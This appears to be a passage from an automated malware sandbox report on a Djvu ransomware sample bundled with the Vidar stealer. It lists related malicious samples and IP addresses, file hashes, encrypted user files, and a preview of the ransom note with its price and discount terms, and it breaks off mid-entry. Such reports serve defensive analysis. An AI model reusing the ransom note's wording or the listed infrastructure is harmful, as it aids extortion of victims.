	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
37f463bf4616ecd445d4a1937da06e19	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220 96.17.209.196
	Swift Payment.bat	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.139.220 96.17.209.196
	file.exe	Get hash	malicious	Vidar	Browse	172.67.139.220 96.17.209.196
	mU2p71KMss.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220 96.17.209.196
	SecuriteInfo.com.Program.Unwanted.5215.4772.1835.exe	Get hash	malicious	PureLog Stealer	Browse	172.67.139.220 96.17.209.196
	SecuriteInfo.com.Program.Unwanted.5215.4772.1835.exe	Get hash	malicious	PureLog Stealer	Browse	172.67.139.220 96.17.209.196
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220 96.17.209.196
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	172.67.139.220 96.17.209.196
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220 96.17.209.196
	107. PN-EN-1090-2+A1_2012P.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.67.139.220 96.17.209.196

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse

Created / dropped Files

C:\$WinREAgent\_README.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.894830319422743
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3j:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kU
MD5:	153B09F9C8FC32C5A25E92A00ED05ABB
SHA1:	72BFC185DE8F4F400218F88B896EE8C5D95006BE
SHA-256:	346083BFC7E3CBC8684F762F8BF844BEE94FA6C77D5BE9CA84B14356C7F1DB93
SHA-512:	C50B92F597F0634A086BF5F92855370ED2B7D84E9ADA45C53BC3CC97A486CD17C8144C675CE8EEBE0730347F8AB02E6B31D2F3D721DB104616002B7425E2C976
Malicious:	true
Reputation:	low
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

C:\ProgramData\GHDBKJKJKKJDGDGDGIDGIIDAAK

Download File

Process:	C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KECBKKEB

Download File

Process:	C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\SystemID\PersonalID.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	5.0589840894454285
Encrypted:	false
SSDEEP:	3:mCdM8TyWkCVyboyn:MWycyn
MD5:	38924F2436CC79B29A5BCF2E3C1C41EF
SHA1:	4C2BE411671EA0E15BB9F437FA021DD6B1802B4F
SHA-256:	EA272518A151FA4419D63DA1B3AE8512D9EDFDC9455D70879736229563F81DA9
SHA-512:	1D1446EFE7BE19D7034601C20DA35BB82AAEDFE6526CFF1B5FB8F9B555C97356DF70CB3EAACDAF0BF7BF0E41C15DE423313ADBCA6FFA9E7D07A89ECFCB54617E
Malicious:	false
Preview:	SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P..

C:\Users\user\.curlrc

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.303268314899288
Encrypted:	false
SSDEEP:	6:KWHI+12PSRmr3eRMy9RZjuBU8o2Ip3CPOAs68lX2WXMRDFYYDoWyc3cii96Z:NoYxFRFuro2BT0XDcRg1+cii9a
MD5:	0028F5CAAF430E75D91FBB59FB2F431F
SHA1:	1A4A3DEB659A0535975519F83AE9CE6D1926F98E
SHA-256:	21788BC3A61508466DA9F54C5EAD9CCEAA0ED6857BD6261C7EE50B304907140B
SHA-512:	0CA3A51EE919A1397A9BF9135E0151E7489EEE80039352D13A0ED47B08B2883098674CA30B6B34D61352337978AF6D817A192D2F9CE08B3B72110ACC95F9FFED
Malicious:	false
Preview:	insec......C..t...'d.......S.......5..t.f....(..p.t ..*.b...E.0'...vX....#..[/..A.=..=.=k.e............e..X.R,....,...89_.{....C.......b`YY.....=6..WT....R9...Im.>5.2...X..u.Z.b.(i...Xo.q....6.o.PK..#..2b.(..j....U..k...:..^.. w.....nt...&4f.0u.}hr..$.6HSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\.curlrc.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.303268314899288
Encrypted:	false
SSDEEP:	6:KWHI+12PSRmr3eRMy9RZjuBU8o2Ip3CPOAs68lX2WXMRDFYYDoWyc3cii96Z:NoYxFRFuro2BT0XDcRg1+cii9a
MD5:	0028F5CAAF430E75D91FBB59FB2F431F
SHA1:	1A4A3DEB659A0535975519F83AE9CE6D1926F98E
SHA-256:	21788BC3A61508466DA9F54C5EAD9CCEAA0ED6857BD6261C7EE50B304907140B
SHA-512:	0CA3A51EE919A1397A9BF9135E0151E7489EEE80039352D13A0ED47B08B2883098674CA30B6B34D61352337978AF6D817A192D2F9CE08B3B72110ACC95F9FFED
Malicious:	false
Preview:	insec......C..t...'d.......S.......5..t.f....(..p.t ..*.b...E.0'...vX....#..[/..A.=..=.=k.e............e..X.R,....,...89_.{....C.......b`YY.....=6..WT....R9...Im.>5.2...X..u.Z.b.(i...Xo.q....6.o.PK..#..2b.(..j....U..k...:..^.. w.....nt...&4f.0u.}hr..$.6HSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.626021446271079
Encrypted:	false
SSDEEP:	12:k0BMbQ8OQVLB8XyIAB7H6WzGhWK5NobnFArGg7Hp8f1+cii9a:9MbQ8j9B82D6WJKzkI3bD
MD5:	CB0AA66238ED17892ED0143D739D7E93
SHA1:	25CC529FB1D3CDB65B5DF20360BA885006A6D305
SHA-256:	B58683BCD2AB6A687AECC552D65F2E19553DB5B46F1DBDAC28A47372BCD1666B
SHA-512:	2058A33894BF476B5BB5C9852CDD4688F5DAA51785E8506AD9400AD480596F7E76A233086217A6455E88E63CABFD4AF94C577208A4B2DE2150D1BD251E51E021
Malicious:	false
Preview:	2023/~.pX.A.....1.V...........a..w..&...!q...OB.5.4.n"".G..~o..3....)v>...4..=2..C...'.....T...f..5......9..-..'f.MB.v...X......{./..\..Q.s.L].S.l.&.f._.,.....<.).8.j...1Iv6O.+.f.15..G.o. /G.T...E...e.:.q3.....ZO....fc...m....?..{..mV.a.....Y!.y....-......k:......p..A....."n..jgi......'.gU...BfY.+23..........l.>..s=.b$.-....x..sV..\..`..^.....:....).0.o.....E..LJ..'.y.i.V1.0...y..l..f......\|....e.G..n8[.G{.Kg.o...([..8`J....s.. L...p.o:..#v.j.YC......j..p...K..n3...(o.D....`..S.....].Rtj...?.. .j.J.g..u%.LDSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.626021446271079
Encrypted:	false
SSDEEP:	12:k0BMbQ8OQVLB8XyIAB7H6WzGhWK5NobnFArGg7Hp8f1+cii9a:9MbQ8j9B82D6WJKzkI3bD
MD5:	CB0AA66238ED17892ED0143D739D7E93
SHA1:	25CC529FB1D3CDB65B5DF20360BA885006A6D305
SHA-256:	B58683BCD2AB6A687AECC552D65F2E19553DB5B46F1DBDAC28A47372BCD1666B
SHA-512:	2058A33894BF476B5BB5C9852CDD4688F5DAA51785E8506AD9400AD480596F7E76A233086217A6455E88E63CABFD4AF94C577208A4B2DE2150D1BD251E51E021
Malicious:	false
Preview:	2023/~.pX.A.....1.V...........a..w..&...!q...OB.5.4.n"".G..~o..3....)v>...4..=2..C...'.....T...f..5......9..-..'f.MB.v...X......{./..\..Q.s.L].S.l.&.f._.,.....<.).8.j...1Iv6O.+.f.15..G.o. /G.T...E...e.:.q3.....ZO....fc...m....?..{..mV.a.....Y!.y....-......k:......p..A....."n..jgi......'.gU...BfY.+23..........l.>..s=.b$.-....x..sV..\..`..^.....:....).0.o.....E..LJ..'.y.i.V1.0...y..l..f......\|....e.G..n8[.G{.Kg.o...([..8`J....s.. L...p.o:..#v.j.YC......j..p...K..n3...(o.D....`..S.....].Rtj...?.. .j.J.g..u%.LDSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	670
Entropy (8bit):	7.6710328339275655
Encrypted:	false
SSDEEP:	12:k7xyRqKZsTsyA7kqoZHURW3mvrvRVgaSDLkVA6oOzsdswIDV1+cii9a:+gzuTbA7kqUH/8FfJNwCObD
MD5:	BC5F49966A4B52F660EDA195B622E581
SHA1:	915943887C3940649DA3BF947361B48CE78E91C2
SHA-256:	EFFE4CB818F615FF942E636FF34C51A9FDC92A26713787E0F84CE68ECDFDD785
SHA-512:	794E5B06DD05D8FF28BCB9A525B9768464659C1065D42B86244FB4E9BC8B2487A37EFBF745D0ACACDC9F9BAB367896D50CAEB75E6F1126BC28F9AC57953E7259
Malicious:	false
Preview:	2023/}.....v....<...C.Z........6.aRG'..dV........c7.W;E.j.P......'0...<......6.....A..Pj.B....9.zl.../..qs]....G6....G..s.s.L...'..O.4...."...).~.....RN.m.pa..R..0.8Y.m.\.Pd}oI.....C..->vGrw..k.'.C6g)R.O.4@..)\|..f<."\LA.]h.....in..U....4... <//=...Q.;x.,M...A.. ....2...X.\.....`..yK.e.. ..yp 0#E@...?...\|>.!..G,RyR/..U.....PZ...;o.B.J@...>.w.M....8.}dAfh........C..>l ..A..{I..'A/.....V.4.Xj...$y.-.-...>..\|..~>,c.MF....e..V_....,.>+....D..w..Z..t..`......W.e3r.e....`b...B`..=....D(D.P.Qg.C..B....i^.[...i...F....?.G....dm........<).........s....^=.g%..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	670
Entropy (8bit):	7.6710328339275655
Encrypted:	false
SSDEEP:	12:k7xyRqKZsTsyA7kqoZHURW3mvrvRVgaSDLkVA6oOzsdswIDV1+cii9a:+gzuTbA7kqUH/8FfJNwCObD
MD5:	BC5F49966A4B52F660EDA195B622E581
SHA1:	915943887C3940649DA3BF947361B48CE78E91C2
SHA-256:	EFFE4CB818F615FF942E636FF34C51A9FDC92A26713787E0F84CE68ECDFDD785
SHA-512:	794E5B06DD05D8FF28BCB9A525B9768464659C1065D42B86244FB4E9BC8B2487A37EFBF745D0ACACDC9F9BAB367896D50CAEB75E6F1126BC28F9AC57953E7259
Malicious:	false
Preview:	2023/}.....v....<...C.Z........6.aRG'..dV........c7.W;E.j.P......'0...<......6.....A..Pj.B....9.zl.../..qs]....G6....G..s.s.L...'..O.4...."...).~.....RN.m.pa..R..0.8Y.m.\.Pd}oI.....C..->vGrw..k.'.C6g)R.O.4@..)\|..f<."\LA.]h.....in..U....4... <//=...Q.;x.,M...A.. ....2...X.\.....`..yK.e.. ..yp 0#E@...?...\|>.!..G,RyR/..U.....PZ...;o.B.J@...>.w.M....8.}dAfh........C..>l ..A..{I..'A/.....V.4.Xj...$y.-.-...>..\|..~>,c.MF....e..V_....,.>+....D..w..Z..t..`......W.e3r.e....`b...B`..=....D(D.P.Qg.C..B....i^.[...i...F....?.G....dm........<).........s....^=.g%..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.763732745662094
Encrypted:	false
SSDEEP:	24:YKWQ3LFFRU81Wm0a/3TOyKD/7u/n0a7voLCsbD:YKJFRpR0GjOP/7la7qCmD
MD5:	5225E5E42587224285D695A04B1DE592
SHA1:	9E1A80A1CC16D4A1B95635197FF175593EF327C4
SHA-256:	88B52F37C167CE81733CA18F4764C4CB804DA60582ABE2C6CC420310287B41D3
SHA-512:	9CE98093654FA9646C30BF11DDE4FAD69A8ACF169175ABAFD442CE2F03B5EE4F052D3FF3B671F70A038D558CE4C30391DBDD14651113C223B6CA54CD33D048B9
Malicious:	false
Preview:	{"os_.B..Z/H..w}K.....8j}.q.<D...H.s.}Q......$;... ...e...K...e.H....R ..+J%..[.H.F.mg<..........'P.B..N.^.]. .H.....P.}.....C.W..z.X.7a.1....?F.........^.Z.k... ...Cq....w......t.'....H.S.....~....o...R6#...%..T%.#[f..@.:.N.P\.q.:.O@......F.L.r......../....%...w.w._..x=....->....9GM..>}cDm....U5=.<..W..!.k"E....M...&.9U.=....d.d.V.Ee...&..~.q.F...Zv.8.I.J.C;q.o..4..#....d....1......:.4.@HA.N.9...W.M.I..._\|..e."^aLIoH..2..{.../.5.....\.(.i.9.:`....&...)....5.......#..4j......x%....4.k....R...C.LoM..T...mCZ..,.^+8JX...f..a@..u...f.&...T.Y#+../%.D....H....}U..3.i..'....%U......^..>...@..C...=............hd...,.a.....2...T&.]:4j]g.h.jje.....f..t..{...u......T.!.w.......A...S55.)..3O..=%:...,n.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.763732745662094
Encrypted:	false
SSDEEP:	24:YKWQ3LFFRU81Wm0a/3TOyKD/7u/n0a7voLCsbD:YKJFRpR0GjOP/7la7qCmD
MD5:	5225E5E42587224285D695A04B1DE592
SHA1:	9E1A80A1CC16D4A1B95635197FF175593EF327C4
SHA-256:	88B52F37C167CE81733CA18F4764C4CB804DA60582ABE2C6CC420310287B41D3
SHA-512:	9CE98093654FA9646C30BF11DDE4FAD69A8ACF169175ABAFD442CE2F03B5EE4F052D3FF3B671F70A038D558CE4C30391DBDD14651113C223B6CA54CD33D048B9
Malicious:	false
Preview:	{"os_.B..Z/H..w}K.....8j}.q.<D...H.s.}Q......$;... ...e...K...e.H....R ..+J%..[.H.F.mg<..........'P.B..N.^.]. .H.....P.}.....C.W..z.X.7a.1....?F.........^.Z.k... ...Cq....w......t.'....H.S.....~....o...R6#...%..T%.#[f..@.:.N.P\.q.:.O@......F.L.r......../....%...w.w._..x=....->....9GM..>}cDm....U5=.<..W..!.k"E....M...&.9U.=....d.d.V.Ee...&..~.q.F...Zv.8.I.J.C;q.o..4..#....d....1......:.4.@HA.N.9...W.M.I..._\|..e."^aLIoH..2..{.../.5.....\.(.i.9.:`....&...)....5.......#..4j......x%....4.k....R...C.LoM..T...mCZ..,.^+8JX...f..a@..u...f.&...T.Y#+../%.D....H....}U..3.i..'....%U......^..>...@..C...=............hd...,.a.....2...T&.]:4j]g.h.jje.....f..t..{...u......T.!.w.......A...S55.)..3O..=%:...,n.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	7.953194194438058
Encrypted:	false
SSDEEP:	96:PP4KFojeEC/MeM+pO9lAfw/IYxVfNiSxyhklVVlXQNTv:n4KvP/McOL/IYxVfNidGFlQL
MD5:	13EA58FADB3B85B042F144EA5C5E47A2
SHA1:	593B791255F779E5FD7D9FA8B19ED78A31D3E4B5
SHA-256:	C2104872EA78BA26E823A821AA79E357A9BB0CC428AE7603EA7EA4E6E92869B7
SHA-512:	3F92ABCD4FE3E675B56F6D4A528BA122295C18276C84F2472C8947730B8720172C3B1156BCCF57A62988CF7F58790B5AF0D6454470E9620FB70C282B504D8013
Malicious:	false
Preview:	*...#....L.[...)O..H.ox.g?...UBX.rgyi.O..##..l.b......P.2....5..=..H...dg..[R...>....;p.jG...d...>...=6..r..Sx..e...$=5M1.......cf../..>.....k..&.<.^.-p. ."z.J.[.v... ...Q}w..:,.....m.i..i...?...vZ...%.=.....C...~...A.cq.k.zl_Z<...Vm..\.I.!..r5.... "...v.......I..H.7c.......T}...-......D.....\|...`..;..P.R%...?.-i.[..(..?..g.....e.....Y+...~x.K.=;....C.K^~+4..k...t.".U..e.cH.7..O.VecG.?...}....Y..A?......D.....f..a.MF?..........4m..#t!r.M....W...<.<sl.Z.e..(t8M..T ..hx.;..+.$K...P......v..{.'X.......r....-._...P.U.....;.J ^ IX..X.q..,.........n.H.)I.~a..HS..\..m.....+S........o]..-K.j....p..7...C...Av&...R.^iG>X.....X....~.vR{...G.61F8....Us%...Ug.:`....6......k..~e>J..wy.....a.... ....d.h..6w..u..e+?O.AP1...F...x.J#.2(.....!l=)5.e...S.1.{.....<EW....-..{2.v....d6.!.x.:..........E)....D...i.b...$..=...d..C...^..L.......a....;....6.8l.Ex_y.@A..`.b.p...}.W..u2.4~..)..h..J{..(..8..i...@FZ.S~.g.......p..%k....\.o_..4W...Y...OS..SF...zWE.;.c'.Hy.>.U)..g

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	7.953194194438058
Encrypted:	false
SSDEEP:	96:PP4KFojeEC/MeM+pO9lAfw/IYxVfNiSxyhklVVlXQNTv:n4KvP/McOL/IYxVfNidGFlQL
MD5:	13EA58FADB3B85B042F144EA5C5E47A2
SHA1:	593B791255F779E5FD7D9FA8B19ED78A31D3E4B5
SHA-256:	C2104872EA78BA26E823A821AA79E357A9BB0CC428AE7603EA7EA4E6E92869B7
SHA-512:	3F92ABCD4FE3E675B56F6D4A528BA122295C18276C84F2472C8947730B8720172C3B1156BCCF57A62988CF7F58790B5AF0D6454470E9620FB70C282B504D8013
Malicious:	false
Preview:	*...#....L.[...)O..H.ox.g?...UBX.rgyi.O..##..l.b......P.2....5..=..H...dg..[R...>....;p.jG...d...>...=6..r..Sx..e...$=5M1.......cf../..>.....k..&.<.^.-p. ."z.J.[.v... ...Q}w..:,.....m.i..i...?...vZ...%.=.....C...~...A.cq.k.zl_Z<...Vm..\.I.!..r5.... "...v.......I..H.7c.......T}...-......D.....\|...`..;..P.R%...?.-i.[..(..?..g.....e.....Y+...~x.K.=;....C.K^~+4..k...t.".U..e.cH.7..O.VecG.?...}....Y..A?......D.....f..a.MF?..........4m..#t!r.M....W...<.<sl.Z.e..(t8M..T ..hx.;..+.$K...P......v..{.'X.......r....-._...P.U.....;.J ^ IX..X.q..,.........n.H.)I.~a..HS..\..m.....+S........o]..-K.j....p..7...C...Av&...R.^iG>X.....X....~.vR{...G.61F8....Us%...Ug.:`....6......k..~e>J..wy.....a.... ....d.h..6w..u..e+?O.AP1...F...x.J#.2(.....!l=)5.e...S.1.{.....<EW....-..{2.v....d6.!.x.:..........E)....D...i.b...$..=...d..C...^..L.......a....;....6.8l.Ex_y.@A..`.b.p...}.W..u2.4~..)..h..J{..(..8..i...@FZ.S~.g.......p..%k....\.o_..4W...Y...OS..SF...zWE.;.c'.Hy.>.U)..g

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.6162053116468105
Encrypted:	false
SSDEEP:	12:kCmlQnqoIoHr8jld7rwGVdQjFpb3wk6ofQQuXuwtTf/iH/M1+cii9a:D2Qq2HW7rtm7TX6yu+wtTuHbD
MD5:	28C31E13B9D62DC63D2D76CB334BA535
SHA1:	87D8F7BF511CDE8DBB97468FA20DF347C97BB70B
SHA-256:	351D7DFED40A2EC7BA69AF0E5BF9C2ABF48C66C9F96B08D0EC2BA8E26B5490D6
SHA-512:	FA6C6037345A990A4E45273970566B74759C04741EDAFFA331F7295204760426643A02776F27E97C7F456FF53B7B64C1101DD9607BC88EBAFAD9ED08497A0F99
Malicious:	false
Preview:	2023/....3/....ef..u...\|....^L.xcR.(C.\H!......./..ub.9.#s.. F..H..0...7O.....M\|.5..z......4..H.Cf..w\|..o..p.2\|...?.4...........0.6h....9.$%.e..Vb.5...Ur..........B".2..g...4W.oc"b.].".hG..<.(3s<...B...._7....n......Fp,..i..&P....<.0....&.Yn....$.wB.....H\|J...M...n.W.. aE...0.@]6V..{ ..8.:.t..Y..+Uo...T...........CO.OZ...y...Q...... .....od.J..[....0.....?.f.;........]..F^]a..2a..o.@_.....T.I....9U.../.>...rJ.<!.v.>....Q..C..x..@ ra..]..C...C4..7....%.B.I16~.pY.......tx...Y..........P...%...;.>.E.W.e..`......E0EmR.Z..3fG...O8++... ...c........SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.6162053116468105
Encrypted:	false
SSDEEP:	12:kCmlQnqoIoHr8jld7rwGVdQjFpb3wk6ofQQuXuwtTf/iH/M1+cii9a:D2Qq2HW7rtm7TX6yu+wtTuHbD
MD5:	28C31E13B9D62DC63D2D76CB334BA535
SHA1:	87D8F7BF511CDE8DBB97468FA20DF347C97BB70B
SHA-256:	351D7DFED40A2EC7BA69AF0E5BF9C2ABF48C66C9F96B08D0EC2BA8E26B5490D6
SHA-512:	FA6C6037345A990A4E45273970566B74759C04741EDAFFA331F7295204760426643A02776F27E97C7F456FF53B7B64C1101DD9607BC88EBAFAD9ED08497A0F99
Malicious:	false
Preview:	2023/....3/....ef..u...\|....^L.xcR.(C.\H!......./..ub.9.#s.. F..H..0...7O.....M\|.5..z......4..H.Cf..w\|..o..p.2\|...?.4...........0.6h....9.$%.e..Vb.5...Ur..........B".2..g...4W.oc"b.].".hG..<.(3s<...B...._7....n......Fp,..i..&P....<.0....&.Yn....$.wB.....H\|J...M...n.W.. aE...0.@]6V..{ ..8.:.t..Y..+Uo...T...........CO.OZ...y...Q...... .....od.J..[....0.....?.f.;........]..F^]a..2a..o.@_.....T.I....9U.../.>...rJ.<!.v.>....Q..C..x..@ ra..]..C...C4..7....%.B.I16~.pY.......tx...Y..........P...%...;.>.E.W.e..`......E0EmR.Z..3fG...O8++... ...c........SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.502836511376533
Encrypted:	false
SSDEEP:	12:f3kG6lzp/a27s6o6Wp29WlukaX96qXd+t+ef1+cii9a:f3kG6lzVaYs6odp20E6qNGTsbD
MD5:	E3860934A90909DC70A94E711ED2E925
SHA1:	72E37045F65BE4904B2A31859286E6FDF3C14491
